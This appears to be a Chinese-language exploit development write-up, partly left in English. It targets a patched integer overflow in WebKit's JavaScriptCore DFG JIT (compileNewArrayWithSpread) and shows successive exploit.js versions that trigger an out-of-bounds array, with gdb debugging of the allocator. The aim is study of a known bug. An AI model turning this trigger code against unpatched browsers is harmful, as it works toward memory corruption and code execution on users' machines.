
利用 JavaScriptCore 中已修补的漏洞
这是一个针对 WebKit 漏洞的利用代码,该漏洞最初由 Fluoroacetate 在温哥华的 pwn2own 比赛中发现。虽然这个漏洞不是我发现的,但我编写这个利用代码是为了练习我的漏洞利用开发技能。该漏洞的原始分析文章 在此,来自 Zero Day Initiative。虽然这篇分析文章写得很好,并且对我理解漏洞非常有帮助,但它是从验证漏洞的角度出发的。我发现,在从头开始编写利用代码时,一些关键细节是缺失的,我希望填补 ZDI 分析文章中遗漏的一些空白,并获得如何从头设计一个复杂利用代码的实用技能。
以下步骤概述了在 JavaScriptCore (JSC)(WebKit 的 JavaScript 引擎)中实现任意代码执行的过程。
将被利用的漏洞是一个整数溢出,发生在 WebKit 的 DFG 即时 (JIT) 编译器生成的代码中。具体发生在 compileNewArrayWithSpread 函数中。当使用 JavaScript 展开语法 创建新数组的代码被 DFG 进行 JIT 编译时,将调用此函数。

在 JIT 编译后的代码中,首先会计算数组的大小。它通过将传递给数组构造函数的每个参数的长度相加来实现这一点。在计算每个相加结果的大小时,它会检查大小是否溢出。之后,它会调用 compileAllocateNewArray 函数,并将在此函数中计算出的长度传递给它。

然后 compileAllocateNewArray 会将之前计算出的长度传递给 emitAllocateButterfly。

emitAllocateButterfly 随后会将大小左移 3 位,相当于乘以 8。然而,这里没有对溢出进行检查,因此像 0x20000001 这样的数字可能会溢出为 0x8。
以下 C 程序演示了此漏洞:


我们可以利用此漏洞欺骗 JavaScript 引擎,使其认为我们分配了一个大小为 0x20000001 的数组,但实际上只分配了容纳 1 个 JSValue(8 字节)的空间。这将导致越界 (OOB) 读写原语,进而可用于实现任意读写,并最终实现远程代码执行 (RCE)。
识别漏洞
为了确认我们拥有 OOB 读取能力,我们将尝试在此前编译 WebKit 时开启了地址消毒器 (ASAN) 的版本上触发此漏洞。
为此,在 WebKit 目录下我们可以运行以下命令:```bash Tools/Scripts/set-webkit-configuration --asan Tools/Scripts/build-jsc --jsc--only --debug
这将构建一个启用了ASAN的JSC调试版本,使我们能够验证是否成功触发了该漏洞。
以下是exploit.js的第一个迭代版本。```javascript
function jitMe(array){
return [...array]
}
let dummy = [1.1]
for(let i = 0; i < 200; i++){
jitMe(dummy);
}
let a = []
let len = 0x20000001
for(let i = 0; i < len; i++){
a[i] = 1.1
}
jitMe(a)
运行此命令时出现以下错误:
Program terminated with signal SIGKILL, Killed. The program no longer exists.
我猜测是在尝试分配如此大的数组时消耗了过多内存。为了确认这一点,我在 JITed 代码中添加了一个断点,方法是在 compileNewArrayWithSpread 中调用 m_jit.breakpoint(),该调用会向 JITed 代码添加一条 int3 指令。
添加断点后,我发现它没有被触发,于是决定测试长度为 0x20001。随后我意识到代码甚至没有被编译,所以我增加了更多迭代次数来激活 DFG 编译器。```javascript function jitMe(array){ for(let i = 0; i < 0x4000; i++){ let x = 1 + 1 } return [...array] }
let dummy = [1.1] for(let i = 0; i < 60; i++){ print(i) jitMe(dummy); }
let a = []
let len = 0x20000001
for(let i = 0; i < len; i++){ a[i] = 1.1 }
jitMe(a)
Testing the program as is still leads to the SIGKILL however, when testing with a smaller length, the breakpoint gets hit. At this point it still seems to me that JSC is running out of memory when trying to process that huge array.
In order to deal with this, I decided to allocate a smaller `a` array and then use the spread syntax to use it multiple times when creating the corrupted array resulting in the following exploit.js```
function jitMe(array){
for(let i = 0; i < 0x4000; i++){
let x = 1 + 1
}
return [...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array]
}
let dummy = [1.1]
for(let i = 0; i < 100; i++){
print(i)
jitMe(dummy);
}
let a = []
let len = 0x20000010 / 0x10
for(let i = 0; i < len; i++){
a[i] = 1.1
}
jitMe(a)
使用这段代码,我们成功命中了断点,没有触发 SIGKILL!但像往常一样,修复一个问题又引出了另一个问题,我们收到了 SIGABORT……通过 gdb 的 bt 命令,我们可以看到调用了 operationNewArrayWithSize,进而调用了 create。
我们的 JIT 代码会调用 operationNewArrayWithSize 似乎很奇怪,这一定是 JIT 代码由于某种原因不得不走慢路径到 JavaScript 引擎。

在 compileAllocateNewArrayWithSize 中,我们可以看到确实有退出到 operationNewArrayWithSize 的情况。然后我们需要找出到底是什么原因导致我们退出到慢路径。
在 compileNewArrayWithSpread 中,我们看到 shouldConvertLargeSizeToArrayStorage 被设置为 false,并且该慢路径不会出现在编译后的代码中。
因此,慢路径是在 emitAllocateJSObject 中的某个位置被命中的,这很合理。

emitAllocateJSObject 调用了 emitAllocateJSCell,而 emitAllocateJSCell 又调用了 emitAllocate。


由于对 WebKit 分配器的工作原理一无所知,这看起来相当令人困惑。因此,我决定添加几个断点,并在 gdb 中逐步执行。
在命中了 emitAllocateVariableSized(由 emitAllocateButterfly 调用)中设置的断点后,我们看到以下汇编代码:
这对应 JIT 编译器在此处发出的代码:
我们可以看到,分配大小先加上 0xf,然后右移 4 位。然后将其与 0x1f6 进行比较,对应慢路径分支。之后,它将子空间分配器移动到 rsi,并根据执行的计算,以该指针为索引进行索引。然后我们继续到放置在 emitAllocateWithNonNullAllocator 中的断点,找到以下汇编代码:

这对应 JIT 编译器在此处发出的代码:
现在我们已经逐步执行了一些汇编代码,对正在发生的事情有了更多了解。再执行两条指令后,我们看到将会执行跳转:

查看 C++ 代码,我们可以推断这意味着该分配器的空闲列表中没有剩余空间,因此它将走 pop 路径。

执行跳转并执行接下来的两条指令,我们看到跳转直接对应着走慢路径。之所以走慢路径,是因为分配器的秘密值与分配器的混乱头部进行了异或,结果为零。在不了解更多关于 WebKit 分配器知识的情况下,很难确切弄清楚发生了什么。
虽然我很想花更多时间学习 WebKit 分配器,但我想一个更简单的方法是尝试几个想法,看看它们是否会带来不同的结果,然后在此基础上进行调试。
我的一个想法是分配一个大小为 0x10 的数组,因为它将与触发漏洞的数组处于相同的分配步长中,然后调用 jitMe,并传入一个大小为 1 的数组。由于我们知道分配器的地址,我们可以设置一个监视点,监视那些导致分支的值,观察它们何时发生变化。我之所以有这个想法,是因为我认为分配一个处于相同步长中的对象可能会使分配器进入一个不同且更有趣的状态。这引出了 exploit.js 的下一个迭代。```javascript
function jitMe(array){
for(let i = 0; i < 0x4000; i++){
let x = 1 + 1
}
return [...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array]
}
let dummy = [1.1] for(let i = 0; i < 80; i++){ print(i) jitMe(dummy); }
let a = []
let len = 0x20000010 / 0x10
for(let i = 0; i < len; i++){ a[i] = 1.1 }
let x = new Array(0x10) let b = [1.1]